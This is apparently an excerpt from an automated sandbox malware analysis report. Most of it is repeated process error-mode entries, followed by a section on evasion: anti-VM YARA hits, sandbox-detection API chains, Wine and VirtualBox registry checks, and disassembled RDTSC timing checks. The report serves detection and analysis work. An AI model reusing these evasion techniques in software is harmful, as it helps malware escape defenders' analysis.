Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: kqS23MOytx.exe PID: 7544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 9AvIIxRx9oZhX7WUPPobrACv.exe PID: 8036, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_2-52141

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_2-52138
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Stalling execution: Execution stalls by calling Sleep
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Stalling execution: Execution stalls by calling Sleep

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	API/Special instruction interceptor: Address: 6B6B7C44
Source: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	API/Special instruction interceptor: Address: 6B6B7945
Source: C:\Windows\SysWOW64\cmd.exe	API/Special instruction interceptor: Address: 6B6B3B54

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 653C95 second address: 653C9F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C59059F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D5560 second address: 7D5574 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F8C58F36AD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F8C58F36AD8h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D4804 second address: 7D480A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D4AB0 second address: 7D4AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7CFB second address: 7D7CFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7CFF second address: 7D7D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7D03 second address: 7D7D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7D09 second address: 7D7D0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7D0E second address: 7D7D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7DA4 second address: 7D7DA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7DA9 second address: 7D7DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7DAF second address: 7D7E3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 7BF1BC28h 0x0000000f stc 0x00000010 push 00000003h 0x00000012 mov ecx, dword ptr [ebp+122D2DD3h] 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007F8C58F36AD8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov cx, 6D66h 0x00000038 push 00000003h 0x0000003a push 00000000h 0x0000003c push edi 0x0000003d call 00007F8C58F36AD8h 0x00000042 pop edi 0x00000043 mov dword ptr [esp+04h], edi 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc edi 0x00000050 push edi 0x00000051 ret 0x00000052 pop edi 0x00000053 ret 0x00000054 mov dword ptr [ebp+122D3509h], edi 0x0000005a or esi, dword ptr [ebp+122D2D8Fh] 0x00000060 call 00007F8C58F36AD9h 0x00000065 push eax 0x00000066 push edx 0x00000067 jmp 00007F8C58F36ADDh 0x0000006c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7E3B second address: 7D7E5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C59059F0Ah 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C59059F0Ah 0x00000015 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7E5A second address: 7D7E60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7F8F second address: 7D7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7D7F93 second address: 7D7F98 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F870E second address: 7F8727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 jmp 00007F8C59059F0Ah 0x0000000c jo 00007F8C59059F12h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F8727 second address: 7F872D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7C1F57 second address: 7C1F72 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8C59059F13h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7C1F72 second address: 7C1F78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6636 second address: 7F6647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F8C59059F0Ch 0x0000000b rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6647 second address: 7F6654 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007F8C58F36AD6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6919 second address: 7F6928 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C59059F06h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6AA7 second address: 7F6AAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6AAD second address: 7F6AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6EBC second address: 7F6ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C58F36AE7h 0x00000009 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6ED7 second address: 7F6EDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6EDD second address: 7F6EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8C58F36AD6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F6EE9 second address: 7F6EED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7038 second address: 7F7042 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C58F36AD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7042 second address: 7F7065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F8C59059F19h 0x0000000f rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F71F2 second address: 7F722A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C58F36AE9h 0x00000007 pushad 0x00000008 jne 00007F8C58F36AD6h 0x0000000e je 00007F8C58F36AD6h 0x00000014 jp 00007F8C58F36AD6h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c popad 0x0000001d pop edx 0x0000001e pop eax 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F722A second address: 7F7230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7230 second address: 7F7234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7234 second address: 7F7242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7242 second address: 7F7246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	RDTSC instruction interceptor: First address: 7F7394 second address: 7F739A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
